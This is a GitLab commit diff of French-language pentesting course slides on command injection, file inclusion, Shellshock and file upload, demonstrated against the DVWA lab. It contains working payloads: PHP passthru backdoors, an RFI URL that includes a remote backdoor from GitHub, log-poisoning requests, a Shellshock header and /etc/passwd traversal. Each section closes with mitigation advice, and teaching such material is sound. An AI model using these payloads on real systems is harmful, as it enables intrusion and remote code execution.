Skip to content
Snippets Groups Projects
Commit d896bd5c authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

websec

parent 2c4ef04f
No related branches found
No related tags found
No related merge requests found
Pipeline #3306 passed
......@@ -29,14 +29,13 @@ Tags: cours
* [Command execution](slides/1337/cmdi.html)
* Exploit
* [Shellshock](slides/1337/shellshock.htm)
* [Shellshock](https://doc.m4z3.me/_/1337/shellshock.htm)
* [Upload](https://doc.m4z3.me/_/1337/upload.htm)
* [LFI_RFI](https://doc.m4z3.me/_/1337/LFI_RFI.htm)
* [Upload](slides/1337/upload.htm)
* [LFI_RFI](slides/1337/fi.htm)
* [XSS](https://doc.m4z3.me/_/1337/XSS.htm)
* [CSRF](https://doc.m4z3.me/_/1337/CSRF.htm)
* [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm)
* [SQLi](https://doc.m4z3.me/_/1337/SQLi.htm)
* Exploit
......
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>File inclusion</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/fi.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
content/slides/1337/images/shellshock/shellshock-bug.png

123 KiB

content/slides/1337/images/upload/kitten.jpg

17.3 KiB

File added
content/slides/1337/images/upload/lego.jpeg

7.54 KiB

## Command execution
# Command execution
## aka [command injection](https://www.owasp.org/index.php/Command_Injection)
### [security low](http://dv.wa/vulnerabilities/exec/)
* exécutrion de commandes arbitraires sur le serveur
* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection)
* exécution de commandes arbitraires sur le serveur
* triviale mais assez rare
## Command execution
### [security low](http://dv.wa/vulnerabilities/exec/)
* paramètre non filtré
* la commande est écrite en dur
......@@ -27,7 +29,6 @@ Note:
- non y a le cookie qui coince :/
- admin:password
- https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
- ce cas est faille assez rare
- il faut injecter des commandes que le server connait
- win/unix/linux/bsd/solarix/aix
- pool de commandes par défaut
......@@ -39,11 +40,9 @@ Note:
- DVWA Security -> medium
## Command execution
### [security medium](http://dv.wa/vulnerabilities/exec/)
* les chaînes de caractères "&&" et ";" sont interdites
les chaînes de caractères "&&" et ";" sont interdites
```shell
# Pour y voir plus clair
......@@ -79,8 +78,6 @@ Note:
- DVWA Security -> high
## Command execution
### [security high](http://dv.wa/vulnerabilities/exec/)
* l'approche est ici différente
......@@ -109,9 +106,8 @@ Note:
netcat -v dv.wa 1337
```
* \o/ nous disposons d'un accès à la machine i
* avec les permissions de l'utilisateur www-data
* \o/ nous disposons d'un accès distant à la machine
* avec les permissions de l'utilisateur www-data
Note:
- revenir en medium ou low security
......@@ -143,6 +139,6 @@ Note:
## <i class="fa fa-medkit"></i> Se préserver
* liste blanche
* cron pour les traitements récurrents
* ne pas installer `ǹetccat`
* utiliser des listes blanches plutôt que des listes noires
* utiliser cron pour les traitements récurrents
* ne pas installer `netccat` ...
# File Inclusion
## aka LFI / RFI
## File Inclusion
* paramètres HTTP non filtrés
```php
include($_REQUEST['filename']);
```
* permet
* d'exécuter du code distant
* d'exécuter du code localement
* accéder à des fichiers locaux sensibles
* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
## Local File Inclusion (LFI)
### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php)
* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
* [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ...
* marche pas avec /etc/shadow
Note:
- open base dir
- pas ou mal configiuré
- par défaut ispconfig
- anciennement safe_mode
### fichiers sytèmes connus
* fichiers systèmes génériques
* c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts
* /etc/passwd
* utilisé des paths absolus
* utilisé des paths relatifs (../.. ou ..\\..)
* windows
* les sevrices tournent souvent en administaretur
* linux
* services en root
* threads avec utlisateur sans privilege
Note:
- pas de troll sur windows
- stackoverflow fonctionne en .net
- microsoft a ouvert de nombreux projets
- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem
### fonction de l'architecture du code
* charger la page appelée
* [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
* boucle infinie = ca marche
* invalider par (include|require)&lowbar;once
### fonction de l'architecture du code
* dossier d'inclusion dynamique de fichier
* paramètres d'url full path
* ?config=../template.htm
* paramètres d'url obfusqué
* ?config=site
```php
include "config/".$config.".php";
```
* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte
[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00)
Note:
- magic_quote_gpc doit être disabled
- supprimé de la version 5.4.0
- pas maquettée on une 5.4.41 sur debian
- code source inclu interprété ou pas
- pas toujours évident à savoir
- bien comprendre le contexte
- importance des paths collecter à l'étape de détection
- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU
- textfile passé en post à intercepter avec burp
- bon exercice
## Remote File Inclusion (RFI)
* inclusion de code arbitraire
* Backdoor ou Remote shell
* dépend de la configuration de php
* par défaut
```ini
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off
```
* à On pour les besoins du TP
* certains produits PHP nécessitent cette option
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
Approche artisanale
```php
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
```
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
## Backdoor
* basiquement permet d'exécuter du code et / ou des commandes systèmes
* version artisanale
```php
echo passthru($&lowbar;GET['cmd']);
```
* version plus robuste
* [<i class='fa fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
## remote raw backdoor
<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>
### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i>
<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
#### log poisoning
* ne nécessite aucun accès en écriture sur le système de fichier
* nécessite une mauvaise configuration des permissions sur les logs (custom logs)
* [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/)
dans `/etc/apache2/sites-enabled/dvwa`
```ìni
CustomLog /home/mazenovi/logs/dvwa-access.log combined
```
#### log poisoning
* l'utilisateur lié au thread apache a accès en lecture à ce répertoire
<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo)
</small>
* les logs sont affichés
Note:
- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche
- pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise)
- lien symbolique doit marcher ausssi
## injection de la backdoor
* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP
```shell
$ nc dv.wa 80
```
* Entrer manuellement les paramètres suivant
```http
GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1
Host: dv.wa
Referer: <?php echo passthru($_GET['cmd2']); ?>
User-Agent: <?php echo passthru($_GET['cmd3']); ?>
```
<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls)
</small>
attendre le log rotate en cas d'échec
Note:
- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache
- c'est le include qui interprète gentiment ce qui est entre <?php ... ?>
- attention c'est un one shot
- > /home/mazenovi/logs/dvwa-access.log pour bien voir
- > /home/mazenovi/logs/dvwa-error.log pour bien voir
- ctrl + f "help" pour trouver les rep listés on est dans
- /var/www/dvwa/vulnerabilities/fi/
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script.
```shell
-rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php
-rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd
```
```php
readfile('/etc/passwd');
```
```shell
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
```
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
* résout le problème du partage de PHP
* environnement mutualisé
* déprécié en 5.3
* supprimé depuis 5.4
* approche non réaliste
* ce n'est pas à PHP de régler ce problème
* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé
## [suPHP](http://www.suphp.org/Home.html)
* executing PHP scripts with the permissions of their owners
* Apache module (mod_suphp)
* setuid root binary (suphp)
* called by the Apache module to change the uid of the process executing the PHP interpreter
* rien ne doit être en chmod 777
* reporté comme erreur
abandonné depuis 2013
## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html)
* Au niveau d'Apache
* exécution des programmes CGI et SSI (Server Side Inclusion)
* utilisateur autre que celui par défaut d'apache
Note:
- bien pour le multi hosting notamment
- chacun ne peut ruiner que son périmètre
- Utilisée de manière appropriée
- réduit considérablement les risques de sécurité
- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
* le chemin vers le fichier est analysé
* si le fichier est à l'extérieur des dossiers spécifiés
* PHP refuse d'y accéder
* les liens symboliques sont résolus
* il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* **.** inclue le fichier lui-même
* problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
* valeur typique
```ini
/var/www/:/usr/share/php:/tmp
```
Note:
- utilisé et configuré en automatique dans ISPConfig
- on peut désactiver chdir ...
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
* realpath()
* converti tous les *.* et **..** en path absolue
* retourne null pour un path inexistant
* basename()
* extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = $_GET['user'];
$filename = "/home/users/".$username;
readfile($filename);
```
peut être sécurisé via realpath() et basename()
```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username;
readfile($filename);
```
ne préserve pas d'une LFI dans le même répertoire
## <i class="fa fa-medkit"></i> Se préserver
* filtrer ses entrées
* avec realpath() et basename()
* par listes blanches
* déscativer allow_url_include
* utiliser l'open_base_dir
## <i class="fa fa-medkit"></i> Se préserver
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* faire attention aux permissions des logs notamment en lecture
* écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur
<!-- .slide: data-background="images/shellshock/shellshock-bug.png" data-background-size="99%" data-background-color="black"-->
## se faire un système vulnérable
* Pas évident
* dans le monde debian
* choisir une vieille [Ubuntu server 12.04.4](http://ubuntu-release.locaweb.com.br/12.04/)
* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
```shell
$ sudo apt-get apache2 && sudo a2enmod cgi
```
## configuration
```shell
$ sudo vi /usr/lib/cgi-bin/netstat.cgi
```
```shell
#!/bin/bash
echo "Content-type: text/html"
echo
echo "Executing: netstat -nlt"
echo
echo "<pre>"
/bin/netstat -nlt
echo "</pre>"
```
## configuration
```shell
$ sudo vi /etc/apache2/sites-available/serve-cgi-bin.conf
```
```xml
<IfModule mod_alias.c>
<IfModule mod_cgid.c>
Define ENABLE_USR_LIB_CGI_BIN
</IfModule>
<IfDefine ENABLE_USR_LIB_CGI_BIN>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
</IfDefine>
</IfModule>
```
## timline
* découverte en septembre 2014
* [Shellshock - timeline](http://www.dwheeler.com/essays/shellshock.html#timeline)
* [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271)
* [CVE-2014-7169](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169), which NIST says "exists because of an incomplete fix for CVE-2014-6271."
* existe depuis le lancement du logiciel il y a 22 ans
* interpréteur par défaut GNU/Linux et pas mal d'Unix libres
## explications
```shell
() { 42;}; echo; /usr/bin/id
```
* **() { 42;}** fonction qui "fait" 42
* **; echo** évite des erreurs serveur dans certains cas
* **; /usr/bin/id** payload juste pour la PoC
* exécution de commandes arbitraires avec les privilèges du user apache
## explications
* ne dépend d'aucun appel système dans le script CGI
* le code est exécuté lors de la préparation des variables d'environnement
* ces variables peuvent contenir des fonctions appelable par le script
* mais en fait tout code hors fonction était exécuté ...
Note:
- vitesse de distribution des patchs
- temps de compilation et de distribution dans les paquets
## Impacts
* tout serveur utilisant des cgi en bash est vulnérable
* concerne aussi
* certains DHCP
* serveurs de messagerie
* serveurs SSH
* Linux, Mac OS X, Android, Cygwin
* routeurs domestiques
* bitcoin core
* objets connectés en tout genre
Note:
- pour la mail c'est certaines versions de qmail qui sont vulnérables
- Bitcoin core: porte monnaie bitcoin
## Détection
* [<i class="fa fa-twitter"></i> shodan](https://twitter.com/shodanhq)
* [<i class="fa fa-newspaper-o"></i> shodan blog](http://blog.shodan.io/)
* [CGI Shodan Search](https://www.shodan.io/search?query=html%3A.cgi)
* [Shellshock Shodan Report](https://www.shodan.io/report/plt4tqpk)
* test en ligne de commande
```shell
x='() { :;}; echo vulnerable' bash -c "echo ceci est un test"
```
## Exploitation
* avec burp suite par exemple
```http
GET /cgi-bin/netstat.cgi HTTP/1.1
Host: go.od
User-Agent: () { 42;}; echo; /usr/bin/id
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
```
* affiche dans le navigateur en cas de vulnérabilité
```shell
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Note:
- si on arrive pas à voir ou si on veut tesr en aveugle
- ping d'un serveur maitrisé
- on attend les requêtes ping
- résolution d'un domaine maitrisé
- on attend les requêtes DNS
# upload
## Upload de fichier
* Risque
* Upload de code arbitraire
* Backdoor ou Remote shell
* Deux problèmes
* filtrage des types de fichiers uploadés
* exposition / exécution des scripts au niveau du répertoire d'upload
## Upload de fichier
* Configurations liées à l'upload à différents endroits
* HTML (côté client)
* PHP (moteur de script)
* Apache (serveur web)
* Ergonomiquement intéressant pour l'utilisateur
* [elFinder](http://elfinder.org) ...
* [et leurs problèmes de sécurité](https://github.com/Studio-42/elFinder/issues/815)
Note:
- MIME Multipurpose Internet Mail Extensions
- pour que les clients mail puissent afficher correctement les PJ
- pas d'upload ... FTP, WebDav (utilise les verbs HTTP)
### [security low](http://dv.wa/vulnerabilities/upload/)
Upload d'un fichier bd.php simple
```php
echo passthru($_REQUEST['cmd'])
```
```php
print_r($&lowbar;FILES);
/*
* ici 2 fichiers uploadés
*/
array(1) {
["uploaded"]=>array(2) {
["name"]=>array(2) {
[0]=>string(9)"file0.txt"
[1]=>string(9)"file1.txt"
}
["type"]=>array(2) {
[0]=>string(10)"text/plain"
[1]=>string(10)"text/html"
}
}
}
```
### [security low](http://dv.wa/vulnerabilities/upload/)
* Trouver le répertoire d'upload
* chemins connus dans produits connus
* code source HTML faisant référence au fichier uploadé
[http://dv.wa/hackable/uploads/bd.php](http://dv.wa/hackable/uploads/bd.php)
### [security medium](http://dv.wa/vulnerabilities/upload/)
```php
$_FILES['uploaded']['type']
```
* Filtrer par type mime
* déduit de l'entête HTTP *Content-Type* de la requête HTTP envoyant le fichier
* fakable
* [mime_content_type](http://php.net/manual/fr/function.mime-content-type.php)
* [exif_imagetype](http://php.net/manual/fr/function.exif-imagetype.php)
* [finfo_file](http://php.net/manual/fr/function.finfo-file.php)
* [getimagesize](http://php.net/manual/fr/function.getimagesize.php)
### [security medium](http://dv.wa/vulnerabilities/upload/)
bd.php
```php
echo passthru($_REQUEST['cmd'])
```
| Command | Output |
| --------------------------- |:------------------:|
| $_FILES['uploaded']['type'] | application/x-php |
| mime_content_type | text/x-php |
| exif_imagetype | null (no image) |
| finfo_file | text/x-php |
| getimagesize[2] | null (no image) |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
### [security medium](http://dv.wa/vulnerabilities/upload/)
<small style="float: left">[lego.jpeg](images/upload/lego.jpeg)</small>
[![lego](images/upload/lego.jpeg "lego")<!-- .element style="width: 50px" -->](images/upload/lego.jpeg)
| Command | Output |
| --------------------------- |:------------------:|
| $_FILES['uploaded']['type'] | image/jpeg |
| mime_content_type | image/jpeg |
| exif_imagetype | 2 (IMAGETYPE_JPEG) |
| finfo_file | image/jpeg |
| getimagesize[2] | image/jpeg |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
### [security medium](http://dv.wa/vulnerabilities/upload/)
* [kitten.jpg.php](images/upload/kitten.jpg.php)
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 250px" -->
* visionner le "Comment" du jpg avec [exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) + [<i class="fa fa-gift"></i>](http://www.gamergen.com/actualites/insolites-hacker-arrete-pour-poitrine-copine-93809-1)
### [security medium](http://dv.wa/vulnerabilities/upload/)
<small style="float: left">[kitten.jpg.php](images/upload/kitten.jpg.php)</small>
![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 50px" -->
| Command | Output |
| --------------------------- |:------------------:|
| $_FILES['uploaded']['type'] | application/x-php |
| mime_content_type | image/jpeg |
| exif_imagetype | 2 (IMAGETYPE_JPEG) |
| finfo_file | image/jpeg |
| getimagesize[2] | null (no image) |
<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
Note:
- le .php est indispensable pour exécuter la charge dans la commentaire de l'image
- parler d'exif -> cf le lien la géoloc (sur fb, etc ...)
- On pourrait également avoir une image malicieuse vouée à infecter le client
- autre hisoitre
- difficilement détectable à l'upload
## <i class="fa fa-medkit"></i> Se préserver
* Filtrer par extension de fichier plutôt que par type MIME
* utiliser des listes blanches plutôt que des listes noires
* un nom de fichier peut contenir des points
* il faut bien prendre l'extension
* c'est ce qui est fait avec [security high](http://dv.wa/vulnerabilities/upload/)
## <i class="fa fa-medkit"></i> Se préserver
désactiver php dans le répertoire d'upload
#### via le vhost ou .htaccess
```xml
php_admin_value engine Off
```
Note:
- MIME Multipurpose Internet Mail Extensions : pour que les clients mail puissent afficher correctement les PJ
## <i class="fa fa-medkit"></i> Se préserver
* Ne plus servir le répertoire d'upload via apache
* sortir le répertoire d'upload du dossier servi par apache
* en interdire la lecture avec un htaccess renvoyant une 403 Forbidden
#### via le vhost ou .htaccess
```
order deny, allow
deny from all
```
## <i class="fa fa-medkit"></i> Se préserver
* Utiliser PHP pour lire les fichier avec [readfile](http://php.net/manual/fr/function.readfile.php)
* prendre en charge la génération des en-têtes **Content-Type** "manuellement"
* [download center lite](http://www.stadtaus.com/fr/php_scripts/download_center_lite/)
* permet une meilleure gestion des accès par permission
* accès à la session courante
* [<i class="fa fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
Note:
- attention toute la stack Sf2 à chaque image ou asset c'est chaud
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ShellShock</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/shellshock.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Upload</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/upload.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
......@@ -7,12 +7,12 @@
<li><a href="privacy/sovereignty.html">souverainet&eacute;</a></li>
<li><a href="privacy/tracking.html">tracking</a></li>
<li><a href="privacy/passwords.html">mots de passes</a></li>
<li><a href="privacy/tor.html">tor</a></li>
<li><a href="privacy/tails.html">tails</a></li>
<li><a href="privacy/crypto.html">crypto</a></li>
<li><a href="privacy/pgp.html">pgp</a></li>
<li><a href="privacy/tls.html">tls</a> / <a href="privacy/tls.html#/0/52">https</a></li>
<li><a href="privacy/pgp.html">pgp</a></li>
<li><a href="privacy/TLSvsPGP.html">tls vs PGP</a></li>
<li><a href="privacy/tor.html">tor</a></li>
<li><a href="privacy/tails.html">tails</a></li>
<li><a href="privacy/bitcoin.html">bitcoin</a></li>
</ul>
</li>
......@@ -32,9 +32,8 @@
Pentesting
<ul>
<li><a href="1337/gathering.html">Collecter</a></li>
<li><a href="1337/detecting.html">D&eacute;tecter</a></li>
<li>
Exploit
<a href="1337/detecting.html">D&eacute;tecter</a>
<ul>
<li><a href="1337/heartbleed.html">Heartbleed</a></li>
</ul>
......@@ -46,18 +45,13 @@
Vuln&eacute;rabilit&eacute;s communes
<ul>
<li>
<a href="1337/command_execution.html">Ex&eacute;cution arbitraire de commandes</a>
<a href="1337/cmdi.html">Command execution</a>
<ul>
<li>
Exploit
<ul>
<li><a href="1337/shellshock.html">Shellshock</a></li>
</ul>
</li>
<li><a href="1337/shellshock.html">Shellshock</a></li>
</ul>
</li>
<li><a href="1337/upload.html">Upload</a></li>
<li><a href="1337/lfi_rfi.html">LFI_RFI</a></li>
<li><a href="1337/fi.html">File inclusion</a></li>
<li><a href="1337/xss.html">XSS</a></li>
<li><a href="1337/csrf.html">CSRF</a></li>
<li>
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment